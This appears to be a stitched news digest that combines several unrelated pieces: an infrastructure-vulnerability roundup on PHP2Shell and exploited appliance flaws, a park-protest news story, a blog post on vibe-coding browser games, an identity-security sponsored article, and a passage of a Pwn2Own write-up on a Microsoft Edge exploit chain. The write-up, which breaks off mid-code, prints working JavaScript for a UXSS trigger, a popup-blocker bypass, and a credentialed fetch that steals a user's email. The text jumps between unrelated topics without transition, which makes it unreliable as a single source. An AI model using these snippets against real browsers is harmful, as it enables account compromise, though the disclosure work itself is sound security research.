The findings come from Eclypsium's October InfraTrust Pulse , a monthly report tracking security advisories affecting network devices, servers, firmware, chips, and other infrastructure.

Between September 18 and October 14, InfraTrust tracked 133 new security advisories across 18 vendors, covering 2,813 vulnerabilities.

Of those advisories, 37 were rated critical, five had a maximum CVSS score of 10.0, and 58 could be exploited remotely without authentication.

Sixteen newly published advisories included vulnerabilities listed in CISA's Known Exploited Vulnerabilities catalog (KEV) as they were actively exploited.

The report also warns that many network appliances, including firewalls, VPN gateways, application delivery controllers, and network-attached storage devices, embed PHP into their management interfaces.

Because vendors compile PHP into appliance firmware, customers commonly cannot install the recent PHP security updates themselves and must instead wait for each vendor to release updated firmware.

InfraTrust therefore recommends that administrators make sure PHP-backed management interfaces are not exposed to the Internet while waiting for PHP2Shell patches.

Critical infrastructure under attack

Some of the most serious vulnerabilities affect systems at the edge of enterprise networks or used to manage other infrastructure.

Threat actors target these devices because they can provide initial access to corporate environments or serve as a springboard for further attacks.

Among the actively exploited flaws highlighted by InfraTrust are:

Citrix NetScaler ADC and Gateway: CVE-2026-88771 and CVE-2026-88772 were disclosed on September 27 after attacks had already been observed against unpatched appliances. A separate NetScaler flaw , CVE-2026-88779, affecting appliances configured for SAML was also later added to CISA's KEV catalog after exploitation was detected.
Ivanti Connect Secure: CVE-2026-104935 allows an unauthenticated remote attacker to execute arbitrary commands on vulnerable VPN gateways. Ivanti said it had exploited a limited number of customers when it published the advisory. CISA later added it to the KEV .
Check Point Security Management Server: CVE-2026-93616 allows an unauthenticated attacker to upload and execute scripts on management and logging systems. Check Point Research observed targeted attacks exploiting the flaw on September 12, targeting Spark customers.
Cisco Catalyst SD-WAN Manager: CVE-2026-76504 allows an unauthenticated attacker to bypass authentication and gain administrator access to the management API. Cisco became aware of active exploitation in September .
Arista VeloCloud Orchestrator: CVE-2026-93952 is a maximum-severity flaw affecting the system used to configure SD-WAN Edge devices. Arista says it is being actively exploited and later disclosed a second, separate exploited vulnerability (CVE-2026-114625) in the same product on October 22.
FortiMail : CVE-2026-104286 is a critical path traversal flaw that allows an unauthenticated attacker to write arbitrary files through the web interface. Fortinet confirmed it was exploited in attacks.
Cisco Secure Email Gateway: CVE-2026-76519 can allow a malicious email attachment to lead to arbitrary file writes and command execution as root on vulnerable systems. Cisco learned of exploitation in October.
F5 BIG-IP APM: CVE-2026-94127 is a critical heap overflow that can allow unauthenticated remote code execution on systems configured as OAuth authorization servers. F5 says the vulnerability has been exploited .
PAN-OS management interface: Palo Alto Networks reported exploitation of CVE-2026-0322 in attacks on firewalls, allowing an authenticated administrator with network access to execute code as root.

php2shell exposes another problem

InfraTrust also warns that the recently disclosed PHP2Shell vulnerabilities expose another weakness in network infrastructure, as many appliances embed PHP directly into their management interfaces.

The two PHP flaws, CVE-2026-109618 and CVE-2026-109619, allow unauthenticated remote code execution, and the PHP project fixed them on October 21.

While most focus on these vulnerabilities has been on websites and web applications written in PHP, PHP is also used for management interfaces of firewalls, application delivery controllers, VPN appliances, and network-attached storage devices.

For impacted devices, administrators usually cannot update PHP themselves because vendors compile it directly into the appliance firmware. Instead, customers must wait for each vendor to rebuild and release updated firmware or software containing the patched PHP version.

Soon after the disclosure, Palo Alto Networks, F5, NetScaler, Check Point, and QNAP confirmed that some of their products were affected, while they still developed fixes for appliances.

The report also highlights a similar issue in other software components that infrastructure vendors bundle into their products.

CVE-2026-31431, a Linux kernel privilege escalation flaw known as Copy Fail , has now appeared in 29 advisories across eight vendors, up from 19 advisories from six vendors last month.

InfraTrust also found older, exploited vulnerabilities in bundled components, including an Android kernel flaw affecting HP LaserJet Enterprise printers and a 2020 jQuery vulnerability in Dell Data Lakehouse software.

InfraTrust recommends that administrators prioritize patching NetScaler and Ivanti Connect Secure because these remote-access gateways can serve as a doorway into corporate networks. Next, it recommends Fortinet's October 22 FortiOS, FortiManager, and FortiAnalyzer security updates for internet-facing devices.

The report then recommends focusing on Check Point Security Management Server, Cisco Catalyst SD-WAN Manager, VeloCloud Orchestrator, FortiMail, Cisco Secure Email Gateway, affected BIG-IP APM systems, and PAN-OS management interfaces.

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

Plus, more news for your humpday....

Original Article

On Tuesday evening, a group of a few dozen demonstrators gathered at the calisthenics bars in Tompkins Square Park , and then marched together to a meeting of Manhattan's Community Board 3 on the Lower East Side. They carried signs bearing slogans like "No One Asked For This," and "Repair! Don't Destroy!"

The demonstrators are pissed about the Parks Department's planned project to replace the basketball courts, pool, and, most controversially, the exercise bars. The work will make the park more accessible, safer for children, and less prone to flooding. It'll replace the above-ground pool with a larger, in-ground pool. It's expected to take about 18 months, during which parts of the park will be closed—an almost unbearable scenario for many vocal park users.

The community board meeting immediately turned rancorous, with a pro-bars advocate screaming at a board member to "get the fuck out of my fucking face." Board Chair Arnette Scott threatened to call the cops on multiple preservationists, who jeered through a presentation by a representative for the Parks Department. The beleaguered bureaucrat strained to be heard as he confirmed their plans still included replacing the bars with "high quality materials," and bringing the area up to "all applicable codes, including ones that have to do with approach by wheelchairs, and clearances for circulation and safety."

Paul de Rienzo, a retired teacher who later told me he doesn't use the bars, caused such a scene that the Parks Department had to cut their presentation short without explaining what "underlying issues" they had found with the concrete below the basketball courts in their plans to add stormwater detention tanks.

Watching the display, it was hard to decide whether I was becoming an arch liberal, ashamed that the crowd of crowing hippies and tatted software engineer "punks" couldn't act like respectable adults, or a burgeoning Stalinist realizing that bureaucrats should not be accountable to the public. At any rate, I realized I hated to see New Yorkers make their voices heard, or at the very least, thought a poor example of civic engagement was being set for the multiple children in attendance.

Other than the pull-up bar obsessives, the public comments consisted of neighbors decrying an affordable housing complex being built on Fifth Street , and others urging the board to reject a restaurant permit because the ventilation system would be too noisy.

28th October 2026

I’ve written before about how November 2025 was an inflection point for coding agents —the point where Opus 4.5 and GPT-5.1 crossed a tipping point that meant their respective coding agents became reliable daily drivers for software engineers. I think we’ve reached a new inflection point in October 2026, and this time it’s for vibe coding computer games .

Claude Opus 5.5 in particular exhibits meaningful improvements in several areas needed to build a compelling game:

3D modeling
Music generation (see Scrimshaw Jukebox )
Game design (!)

That last one is particularly important. Models have been able to create something that looks like a game for quite a while now, as seen in my previous experiments . The challenge has been getting to a game that’s actually fun to play .

Game design is a deep subject area. I won’t pretend to be well versed in it—I know enough to have respect for it as a craft. Creating a novel, compelling gameplay loop which challenges players at the right level and provides a satisfying learning curve is a fine art. I didn’t think the models could do it.

Then I tried telling Claude Opus 5.5 to “Make it a LOT more fun”... and it did .

In the past few weeks I’ve vibe coded (in the classic sense of the term —no looking at the code at all) four games that I’ve genuinely enjoyed playing.

I attended Foo Camp in Berkeley over the weekend and met several people who were having similar experiences. Building games that play well is shockingly easy now. The new challenge is coming up with concepts for games that are novel and delightful and that wouldn’t exist without AI assistance.

I haven’t done an exhaustive study, but my current impression is that GPT-6 Astra isn’t quite there yet. It can absolutely build a game, but its sense of fun doesn’t match that of Opus 5.5. I expect OpenAI will get there by the end of the year.

Here are the four game projects that have convinced me that the models are now capable of producing fun games with very little guidance. All four are built in HTML and JavaScript and run entirely in the browser.

Tree Appreciator

The smallest game I found to be genuinely delightful is Tree Appreciator . I used the regular Claude chat interface for this—it didn’t even need Claude Code.

I built this on a whim while we were driving along Skyline Boulevard looking at trees. My prompt was:

Build a three js game called "Tree appreciator" - it shows you two algorithmically generated trees and the game mechanics is about appreciating the differences between them. Think hard about how to make sure it is both fun and beautiful.

I’ve found that telling models to use three.js works really well. Claude doesn’t have its own image generation model but is capable of building full-color 3D models that look and feel excellent.

This game required no iteration or follow-up prompting at all—I got the game in a single shot. It gave me back a charming little mobile-friendly spot-the-difference game. You can play that here . Here’s the chat transcript that built it.

It’s pleasingly relaxing. The graphics are fun, and collecting trees that you have completed in a “herbarium” provides a nice, cosy sense of accomplishment.

Emberwick

This was a more ambitious project that I again built using regular Claude chat. I started out by building an experimental prototype of an engine for a top-down fantasy RPG:

Build a demo game engine three.js which is a top down (but at an angle) RPG - the player gets to move through the world with one or two companions. Create a fantasy village setting that demonstrates walking around outside and then shows how when the player enters a building the wall between the player and the camera goes transparent so the user can see what is happening

Add some NPCs and plenty of furniture and different types of building some with an upstairs - be creative, make it look great

Here’s that first version . It worked really well!

I was inspired to increase my ambitions:

Make it not so flat - the buildings are great but the landscape itself is completely flat at the moment, fix that

Add basements to two of the buildings with a tunnel system joining them below the village

Add the start of a rocky mountain on one side of the village containing a cave with a sleeping troll

Here’s that version .

When that produced a good result, I decided to push it all the way:

Now turn this into an actual game - quadruple the size of the playable area, introduce fun game mechanics, add a plot that isn't too cliche, some twists, a magic system, make it really good

We’re back to prompts like “make it really good” here! Asking for a plot that “isn’t too cliche” seemed to work too—it’s a bit cliché, but still novel enough that I enjoyed following the story.

Unlike Tree Appreciator, this took quite a bit of additional playtesting and prompting to get to a finished version. This was mainly due to gameplay problems—things like a character not being in the right place to complete a quest because a different story element had caused them to move to another location.

Here’s that final game . It has a full story that takes about 15 minutes to play through.

There’s even an experimental level editor if you want to drop in your own houses, furniture, and landscape features.

Once it was all working (and I’d iterated through some gameplay bugs), I played it through from start to finish and found myself emotionally affected by the ending! I’m somewhat embarrassed by this, because everything in this game—the graphics, the plot, the characters, the music, the dialog—came from the model. My creative input was pretty much just “it’s a fantasy village and there’s a troll asleep in a cave”.

Here’s the full shared Claude chat in which I built this game.

I also fed that same initial sequence of prompts through ChatGPT GPT-6 Pro. Here’s the transcript and the finished game for comparison. It looks great, but I don’t think it plays nearly as well.

Battle Drones

This is by far my most successful project, which I wrote about last week . It’s a Command & Conquer-style Real-Time Strategy game where two robot armies (or four as of Saturday ) build units, harvest scrap, and battle over territory.

This is also the project that convinced me that Opus 5.5 knows what “fun” is.

The first versions were built back in July using Claude Fable 5. It got me to a workable 2D Command & Conquer-style game, but it wasn’t great to play.

I prompted Opus 5.5 to “Make it a LOT more fun” and then later to “Port this game to three.js” and the game was transformed. There’s a blow-by-blow account (prompts included) in my write-up .

Today, Battle Drones has 2-4 player multiplayer (via a vibe coded WebSockets relay server), medals, replays, seven maps, a random map generator, and a set of “mutators” that add variants of the rules.

It also lets different LLMs play against each other, using a mode where the game advances five seconds and then pauses to give different models time to interpret the new game state and line up their next set of commands. Here’s a replay of Claude Haiku 5.5 vs. GPT-6 Luna :

Battle Drones is a particularly good example of Opus 5.5’s ability to create 3D models. This page lets you browse all of the models in the game .

I released Battle Drones under the Apache 2.0 License last Tuesday. On Wednesday Gabriel Turpin released Panache ( screenshots here ), a fork of Battle Drones that reimagined the game for steampunk 1900s Belle Époque France, with new models and music and an animated intro sequence. Open source at work!

Pumpkin Farmer, aka Quarter Sun Cove

I live in Half Moon Bay, California , home of the annual Half Moon Bay Art and Pumpkin Festival , which includes a giant pumpkin weigh-off competition.

I decided to try building a game that wasn’t just a cheap imitation of something that already existed, so I set out to create a game about farming pumpkins, growing giant pumpkins, and handling the rush of the October pumpkin season.

I called it “Quarter Sun Cove”.

I’m still iterating on this project, but it’s shaping up quite nicely. It’s a cosy farming simulator where you spend the year tending to your giant pumpkin and planting out regular-sized pumpkins for sale in October, then sell pumpkins during pumpkin season and enter your giant pumpkin in the weigh-off.

Every character in it is a (vegetarian) animal. The mayor of the town is a pelican. You can be a pelican, skunk, raccoon, possum, beaver, coyote, fox, owl, sea otter, or harbor seal. Those species all later show up (accompanied by their children) to buy pumpkins from you.

It’s absurdly cute.

You can play the latest version here . I’m not convinced by the game mechanics yet—it’s actually quite complicated: you have to decide when to plant pumpkins such that they will become ripe at the weekends in October with the most visitors.

Here’s the initial brainstorming session , which resulted in this spec file . Then I had Opus 5.5 Ultracode burn millions of tokens and nearly two days building it.

I told Claude to “surprise and delight the user frequently” and the result is so many little details and easter eggs. There are mischievous raccoons, an elephant seal that runs the weigh-off, harbor seals that roll their pumpkins back into the ocean, a wandering goat, and superstitions about growing giant pumpkins that sometimes come true.

This isn’t my best game yet—it’s not as fun to play as Battle Drones—but it represents the kind of game I want more of: weird, fun, uniquely personal—something that wouldn’t have been built in the before-times.

Four times as insulting

If you are offended by AI-generated art, AI-generated music, AI-generated writing, and AI-generated code, I have bad news for you: vibe coded games combine all of those at once .

The wider games community already has an aversion to AI-generated assets in games. This has been a growing issue over the past few years as tools like Midjourney have enabled developers to generate assets for their projects. This IGN story covering complaints about slop in Valve’s Steam Next Fest is a good recent example.

We now have games where everything —code, assets, dialog, and even the game design itself—can be outsourced to the models. And the results don’t suck!

Building a computer game used to be one of the most challenging projects in all of software development, combining a diverse range of skills and requiring intense focus and effort over many months or even years. And now here I am spitting out a playable multiplayer RTS by prompting on my phone!

I expect that, as we’ve already seen with programming, this will result in a split. Some players will refuse to have anything to do with games that were built in this way. Others may embrace this as opening up game development to a much wider audience. I lean in that direction!

I certainly won’t be entering any of my vibe coded games in traditional game jams or competitions—I don’t feel like I’ve earned that right. We’ll likely see new avenues emerge for vibe game developers to compare their projects.

What happens if someone actually puts the work in?

The thing I find both exciting and shameful about this is that I have got interesting results from so little creative input . The projects I’ve described here are loosely ordered by how much effort I’ve put into them. Not a single project represents more than four hours of my work (plus many more hours of Claude Code churning away by itself).

Now imagine what could be achieved by anyone who takes this seriously, invests significant creative time, applies better taste in game design, and then playtests and iterates on the result until it’s as good as they can make it.

I want to see games that wouldn’t have existed without these new tools.

You should build a game!

Building games in this way is so much fun . It’s the perfect application for vibe coding because it’s so low stakes: how much damage can you cause with a bug in a personal vibe coded game project?

(OK, you can do some damage... my attempt at audio-based multiplayer gave my wife Natalie a nasty headache !)

All of my games so far have been HTML and JavaScript using static hosting (generally GitHub Pages or Cloudflare Pages). Modern browsers—including mobile browsers—are incredibly capable. Frontier models already know libraries like three.js and Phaser . I’m finding these mobile web games to be indistinguishable from the native experience, at least for the kinds of games I’m trying to build.

I suggest starting with a prompt like this:

Build a mobile-friendly three.js game where...

This works on both chatgpt.com and claude.ai —you don’t even need to fire up a full coding agent. As one last example, here’s “Build a mobile-friendly three.js game where a mouse has to hide from a cat” by Claude Opus 5.5 Extra and by GPT-6 Extra High .

Switch to Codex or Claude Code once your project passes the proof-of-concept phase.

And if the game isn’t fun enough, add this:

Make it a LOT more fun

Even after PHP2Shell, blast radius matters more than a CVSS score

PHP2Shell shows how quickly attackers can exploit critical vulnerabilities, often before organizations have time to patch. Token Security explains why limiting the access of service accounts, API keys, and AI agents is just as important as fixing vulnerabilities to reduce the damage from a breach. [...

Original Article

Green pumpkin

Here's a prediction: we're about to see a stellar quarter for application security companies. PHP2Shell is about to become the strongest budget argument application security vendors have had in years. AI helped researchers find two remote code execution vulnerabilities in the language behind 69% of the web , attackers targeted it before the patch shipped, and the pitch writes itself: find more bugs and fix them faster.

Enterprises should rethink this idea. Security teams cannot patch at machine speed, but they can reduce what an attacker can reach after exploitation by focusing on identity as the control plane.

Beyond the initial exploitation, the ultimate incident severity depends heavily on which service accounts, API keys, cloud roles, and tokens the compromised workload can use and what they can access.

From vulnerability to exploitation

First, we need to understand just how much faster exploitation is now. The two flaws behind PHP2Shell had been in PHP's code since 2012 . Researchers at Calif and Wiz found them in August, with help from OpenAI and Google models, and disclosed them jointly with OpenAI.

Amazon saw an exploitation attempt on October 17, four days before disclosure. PHP shipped the patch on October 21, and watchTowr saw exploitation attempts in the wild the same day. Cloudflare observed attack traffic escalating rapidly after disclosure, and on October 26, CISA added both flaws to its list of known exploited vulnerabilities.

Exploitation now often starts before disclosure. Unfortunately, things aren't moving as quickly on the remediation side. Verizon's 2026 DBIR states the median time-to-fix of a known exploited vulnerability is 43 days. According to Qualys , the mean remediation time is 21.2 days, and 63% of critical vulnerabilities are still open after a week. All while around 195 new CVEs are published every day.

PHP2Shell will take longer than most to clean up. PHP ships inside appliances and hosting control panels that customers can't patch themselves. Moreover, versions 8.1 and older got no official builds.

As of October 27, Censys counted 32.5 million internet-facing PHP services still running potentially vulnerable versions, and more than 60 million others that don’t report a version at all.

However you look at it, remediation speed will remain slower than the pace of exploitation for the foreseeable future, even when patching itself benefits greatly from AI-driven workflows.

Every Agent Needs an Identity

Agents now act across your systems with access nobody has reviewed.

Token Security’s AI Agent Security finds every agent, links it to an owner, and limits what it can do. Identity-based order to control the chaos of your agentic AI

See Token in Action

Finding isn't fixing

With the exploitation gap widening, it’s tempting to invest everything you can in holding back the tide. But even if an AI-driven scan found 2,000 new zero-day vulnerabilities in your environment tomorrow, that won’t result in a stronger security posture.

It will give you a list. Some items will be easy to patch, while others will need more time than your team has.

For supported PHP branches, the direct fix was simple: install the updated release. Governments and companies still took their sites offline while they waited for it.

Here's another, more optimistic way to look at it. Vulnerabilities lead to exploits, and exploits lead to attacks, but in an enterprise context, the impact of an attack is determined by how far the compromised identities can reach. A shell on a PHP server grants the attacker access to whatever that server can read, from environment variables to cloud keys in config files.

PHP2Shell can also leak worker memory, including passwords, tokens, and API keys. An attacker executing code on one host opens a door to a hallway, but the real valuables are usually in locked rooms.

And the controls that limit lateral movement don't depend on winning a race against discovery. Finding vulnerabilities is an open-ended process, and limiting the reach of a service account is a quantifiable task.

Attackers take the easiest path

This approach has limits. If the vulnerability is in the IdP or the secrets manager, lateral movement capabilities come built in. If it's in the database or in the storage provider, the attacker is already where they want to be.

So with limited resources, it's tempting to stay vulnerability-first: catalog what the advisories and scanners found, triage it, work down from the top. But cataloging takes weeks, and fixing the most pressing findings takes even longer. The bet here is that the most exploitable holes in your core systems are the ones you'll close first.

That bet prioritizes the vulnerability’s severity (the CVSS score) over the blast radius. Attackers aren't looking for the most direct path; they're looking for the easiest path. Taking a leaked credential and moving with it is easier than stringing together zero-days to reach a database directly.

October's other headlines show that path. At LiteLLM, attackers used a master key exposed in a public repository to retrieve an unscoped GitHub organization-owner token from an internal agent platform. That identity let them steal two more maintainer tokens, subvert the release workflow, and publish credential-stealing artifacts.

Shrink the blast radius first

You can’t win the race to patch every server before the attackers arrive, but you can determine what a compromised server is worth to them. Discover and inventory every AI agent and non-human identity and start by securing the ones that reach the most .

Assign an owner, scope access to purpose and intent, remove dormant credentials, and continuously govern the identity lifecycle. For AI agents, go further and grant access by intent. That is what it means to treat identity as the control plane.

Patching decides how fast you close a hole. Identity decides how much an attacker gets when you can’t.

Original Article

I think I should still dump some of my work once in a while, even though it feels like fewer and fewer people actually sit down and read articles these days (or maybe now they all leave it to their agents XD). Anyway, this is what I built for Pwn2Own Berlin 2026 — a completely handmade, logic-only Microsoft Edge Full Chain, with no memory corruption, and no AI at all! 🔥

Confirmed! Orange Tsai (@orange_8361) of DEVCORE Research Team (@d3vc0r3) chained 4 logic bugs to achieve a sandbox escape on Microsoft Edge, earning $175,000 and 17.5 Master of Pwn points. Full win! #Pwn2Own #P2OBerlin https://t.co/vJaIpGG4cD
— TrendAI Zero Day Initiative (@thezdi) May 14, 2026

The whole chain is made up of five bugs and two Windows features. I have also shared the whole bug-hunting and chaining process at this year’s HITCON and Hexacon, plus some fun stories along the way. You can check the slides here !

Also, maybe everyone thinks LLMs can already pwn everything in the AI era, so something made entirely by hand somehow feels a bit more precious. That might also be why this chain was nominated for this year’s Pwnie Awards and won the Epic Achievement award. 🎉

pwnie-award-2026

Let’s Navigate!

So where do we start with a logic-only full chain? Well, since it’s a “browser,” let’s start by looking at how “browsing” (or what Chromium calls “navigation”) works. I won’t go into too much detail in this post, because I think in this era, you can just ask your agents to fill in the details :)

But I’d still recommend reading “ Life of a Navigation “ from Chrome University if you want to get the full picture.

While I was walking through the Chromium Navigation flow, something called “Navigation Throttles” caught my attention. They live in the Browser Process, and intercept all navigation requests initiated by either the Browser or the Renderer. Maybe it’s easy to say this in hindsight, but out of the 3,000+ CVEs Google Chrome has fixed over the past five years, there are only fewer than 20 related to them. So I guess this is also a corner not too many people pay attention to.

Anyway, I started digging into the Navigation Throttles, and checked how Google Chrome and Microsoft Edge implemented them. And while going through the code, I found that Edge has a throttle called EdgeCAGuidanceNavigationThrottle for its enterprise Entra ID feature (the CA here stands for Conditional Access ). The purpose of this throttle is to guide users to the right User Profile when Edge detects them signing in with a work account on a Microsoft website. And to fire this throttle, you have to start a navigation from a specific Microsoft-owned origin, such as login.live.com :

1	location.href = `https://guidance-ca-error/?email={email}&switch_profile={url}`

And once the throttle is fired, Edge would compare the email of the current User Profile with ?email={email} . If they don’t match, Edge pops up a dialog guiding you to switch accounts.

But if they do match, Edge would then grab the URL you were originally heading to from switch_profile={url} , and launch a new navigation with Chromium’s internal Navigation API:

NavigateParams params(browser, switch_profile_url, ui::PAGE_TRANSITION_LINK);
params.disposition = WindowOpenDisposition::CURRENT_TAB;
params.window_action = NavigateParams::SHOW_WINDOW;

Navigate(&params);

So basically, the throttle cancels the original navigation when the target URL matches a specific internal format, and then launches a new one with the URL from the attacker-controlled Query String, if the conditions are met. Since this new navigation is initiated by the Browser Process, in theory we can do a few things we couldn’t do before, such as jumping to normally prohibited pages like edge://settings or devtools://... , or even pseudo-schemes like javascript:alert(origin) .

Though the JavaScript pseudo-scheme sounds like a powerful primitive, you still need to obtain the Execution Context on login.live.com to fire the throttle in the first place. So being able to jump to javascript: doesn’t really give you any extra capability. At most, it’s just like a Self-XSS, or a way to turn an Open Redirect there into XSS. Either way, you’re still only executing JavaScript in the same login.live.com context.

Honestly, I didn’t take this bug too seriously at first glance. To me, it was just a stronger Open Redirect that could jump to a few more Browser-Level Schemes, and still needed to be chained with other bugs. So the bug just sat in my notes for weeks… 🤦‍♂️

The turning point was when I was going over the Chromium architecture one day and started thinking: The throttle is handled in the Browser Process, so the new navigation is initiated from the browser as well. However, the page we fired the throttle from, login.live.com , lives in the Renderer, and while investigating the logic, I couldn’t find any code tying the Browser and Renderer together. So… CURRENT_TAB refers to which tab, exactly?

To find this out, I ran a quick test and added a delay to the original trigger:

1
2
3

setTimeout(function(){
    location.href = `https://guidance-ca-error/?email={email}&switch_profile={url}`
}, 8000)

And during the delay, we manually switched the Edge to a new tab to see what would happen, and…

Boom! We got a UXSS on google.com , and that’s also the first bug of the whole chain. To fully understand the UXSS root cause, we dug into Chromium’s source code. We found that if Navigate() is called without specifying the source_contents (the Renderer source to bind to), Chromium would use the current active tab as the Renderer source automatically.

↓ Path: chromium/chrome/browser/ui/browser_navigator.cc

base::WeakPtr<content::NavigationHandle> Navigate(NavigateParams* params) {

  

  
  
  
  
  if (!params->source_contents && params->browser) {
    params->source_contents = params->browser
                  ->GetBrowserForMigrationOnly()
                  ->tab_strip_model()
                  ->GetActiveWebContents(); 
  }

  

  
  
  
  if (!contents_to_navigate_or_insert) {
    DCHECK(!params->url.is_empty());
    if (params->disposition != WindowOpenDisposition::CURRENT_TAB) {
      
    } else {
      
      
      DCHECK(params->source_contents);
      contents_to_navigate_or_insert = params->source_contents;   
    }

    
    
    if (!HandleNonNavigationAboutURL(
            params->url, contents_to_navigate_or_insert->GetBrowserContext())) {
      
      
      NavigationController::LoadURLParams load_url_params =
          LoadURLParamsFromNavigateParams(contents_to_navigate_or_insert,
                                          params);
      navigation_handle =
          contents_to_navigate_or_insert->GetController().LoadURLWithParams(
              load_url_params);     
    }
  
}

Though the code path requires params.disposition to be CURRENT_TAB and params.source_contents to be NULL , luckily, those are the defaults, so even Chromium’s own example code gets this wrong. I guess this should count as a new UXSS attack surface!

The 0-Click Challenges

The UXSS primitive we just got sounds great, but firing that still comes with quite a few challenges in practice. Here we list four we faced while weaponizing the UXSS, and how we cracked them with more and more bugs 😉.

1. The Throttle Must Be Fired from a Trusted Origin

The first challenge, as we mentioned earlier: this UXSS has to be fired from certain Microsoft sites. Though we could still find an XSS there to make that happen, that sounds like a painful job, so we’d keep it as a last resort. Instead, we decided to see if there was any low-hanging fruit in the origin check first.

content::WebContents* web_contents = navigation_handle()->GetWebContents();
const GURL last_committed_url = web_contents->GetLastCommittedURL();

if ( !IsSupportedLoginUrl(last_committed_url) )
    return content::NavigationThrottle::CANCEL_AND_IGNORE;

We found that EdgeCAGuidanceNavigationThrottle uses GetLastCommittedURL() to retrieve the origin that fired the navigation, and then check it. At first glance, this looks like the correct way to do the validation. But take a second look, and you’ll notice Microsoft seems to have forgotten that a navigation can come not just from the current WebContents , but also from another window… So a simple window.open(...) is enough to bypass it!

↓ You can run this on any website to fire the throttle

1 2	popup = window.open('https://login.live.com/', '_blank') popup.location = `https://guidance-ca-error/?email={email}&switch_profile={url}`

So far, we can bypass the origin check with a cross-window navigation. However, modern browsers don’t let webpages open new windows that easily nowadays, so here comes another new problem: the Popup Blocker would block window.open(...) by default.

popup-blocker

To crack this, we kept reversing Microsoft Edge. And we found Microsoft, maybe for internal use, made its own hardcoded whitelist for popups… So a popup like the following would normally be blocked as expected:

1	popup = window.open('https://malicious.tld', '_blank')

But if you swap the URL for the whitelisted one… the window just appears. And then remember to navigate it back to the original site, and you’ve bypassed the Popup Blocker!

1 2	popup = window.open('about:blank#quickAuthPopup', '_blank') popup.location = 'https://malicious.tld'

Thank you, Microsoft!

thanks-microsoft

3. The Need for a Signed-In Profile

Now that we can fire EdgeCAGuidanceNavigationThrottle from wherever we want, the next step is to get past the Conditional Access checks. The code first requires Microsoft Edge to already have a signed-in User Profile, and then checks if ?email={email} matches the profile’s email. Both conditions have to be met before we reach the sourceless, browser-initiated navigation to finally trigger our UXSS primitive.

Profile* current_profile = Profile::FromBrowserContext(
    web_contents->GetBrowserContext());

std::string email;
net::GetValueForKeyInQuery(target_url, kEmailQueryKey, &email);

const base::FilePath target_profile_path = GetPathOfProfileWithEmail(email);
if (current_profile->GetPath() != target_profile_path) {
    profiles::SwitchToProfile(target_profile_path, false, BindOnce(…));
}

However, since we can’t assume the target environment has a signed-in profile in advance, we still need to find a way to make the attack work even if it doesn’t. While exploring Microsoft Edge, we came across a great feature called “OneAuth”. The feature lets any Edge WebView application automatically sign in with your current MSA credentials when visiting Microsoft-owned sites. And it turns out that starting with 25H2, Windows OOBE requires you to sign in with an MSA (unless you use the local-account workaround). So even if you’ve never created a User Profile in the browser, just visiting www.microsoft.com is enough for Edge to create one and sign you in automatically.

Thanks again, Microsoft!

With the sign-in issue cracked, the last challenge is to get the victim’s email in advance. Of course, we could try some social engineering, or keep reversing Microsoft Edge to find another bug that leaks that for us. But since the automatic sign-in already sets several Microsoft cookies, we thought Web Hacking would be an easier way to steal the email. So we fired up Burp Suite and started looking for web vulnerabilities.

We spent a few hours and found several XSS bugs on Microsoft sites. While poking around, I noticed that assets.msn.com , which is embedded in edge://new-tab-page-online , returns the currently signed-in user’s email. And even more interesting, when I checked the response header, the site seemed to have a CORS misconfiguration…

cors-misconfig

So with a simple fetch(...) with credentials included, you can easily grab any Microsoft Edge user’s email from any website:

resp = await fetch(`https://assets.msn.com/service/community/users/me?profile=social&it=edgeid`, {
    method: 'GET', 
    mode: 'cors',
    credentials: 'include',
    referrerPolicy: 'no-referrer',
    headers: {
        'Accept': 'application/json'
    }
})
body = await resp.json()
console.log( body.value[0].email )

Putting It All Together!

So far, to make this primitive work, we’ve chained together:

A Trusted Origin bypass caused by a missing cross-window Opener check
A Popup Blocker bypass caused by a hardcoded whitelist
A OneAuth feature that automatically signs you in
A CORS misconfiguration that lets us steal the signed-in user’s email

Now we can finally trigger the UXSS without a single click! And even better, since this UXSS is initiated from the Browser Process ( HandleRendererDebugURL in Mojo, if you’re interested), it can ignore any CSP entirely. That means we can run JavaScript on google.com , facebook.com , icloud.com , or whatever website we want!

Breaking Out of the Browser Sandbox

So we have a Universal XSS. Does it mean that we can do whatever we want? If we’re talking about Web Security, then yes. But our goal here is to get ACE (Arbitrary Code Execution), so UXSS alone is far from enough. And we still need to find a way to break out of the Browser Sandbox to turn this UXSS into code execution.

The first and most straightforward idea that came to my mind was: since we can run JavaScript on any website, or more precisely, any origin, why not just leverage privileged WebUI pages like edge://settings or edge://downloads to get ACE?

This naive approach was of course already mitigated by the Chromium developers. In the Renderer’s Mojo handler, there’s an extra check: if the origin belongs to one of the following privileged WebUIs, the Renderer simply ignores the JavaScript URL.

edge
chrome-extension
chrome
chrome-untrusted
chrome-distiller
chrome-error
chrome-native
chrome-search
devtools

↓ Path: chromium/third_party/blink/renderer/core/frame/local_frame.cc

void LocalFrame::LoadJavaScriptURL(const KURL& url) {
  
  
  if (SchemeRegistry::ShouldTreatURLSchemeAsNotAllowingJavascriptURLs(
          GetSecurityContext()
              ->GetSecurityOrigin()
              ->GetOriginOrPrecursorOriginIfOpaque()
              ->Protocol())) {
    return;
  }
  
}

↓ Path: chromium/third_party/blink/renderer/platform/weborigin/scheme_registry.cc

bool SchemeRegistry::ShouldTreatURLSchemeAsNotAllowingJavascriptURLs(
    const String& scheme) {
  DCHECK_EQ(scheme, scheme.LowerASCII());
  if (scheme.empty())
    return false;
  return GetURLSchemesRegistry().not_allowing_javascript_urls_schemes.Contains(
      scheme);
}

Basically, Chromium has put every privileged WebUI you can think of on the not_allowing_javascript_urls_schemes blacklist. So at that point, I still got stuck for a long while. 😖

Arbitrary File Write via Immersive Reader

However, as we continued exploring Microsoft Edge, we found that Edge had its own Reading Mode called Immersive Reader . And unlike Chrome’s built-in Reading Mode, Immersive Reader seems to have been forked from Chromium early on, with Microsoft building on top of it. So instead of the old chrome-distiller:// or the blacklisted chrome-untrusted:// , Edge uses a custom read:// scheme. And Microsoft seems to have forgotten to add this scheme to the blacklist as well, so our UXSS works on this privileged WebUI :)

Starting from this privileged WebUI, we can access lots of native C++ objects through JavaScript. And one of them called chrome.edgeFeedbackPrivate.zipDiagnosticLogFiles() looked particularly interesting to me. We tried it out, and found that the function takes two parameters, a filename and a JSON string:

↓ We ran this on read://https_orange.tw/?url=https://orange.tw

chrome.edgeFeedbackPrivate.zipDiagnosticLogFiles(
    'LOL.ZIP', 
    '{
        "logFiles": {
            "ORANGE": "AAAAAAAA"
        }, 
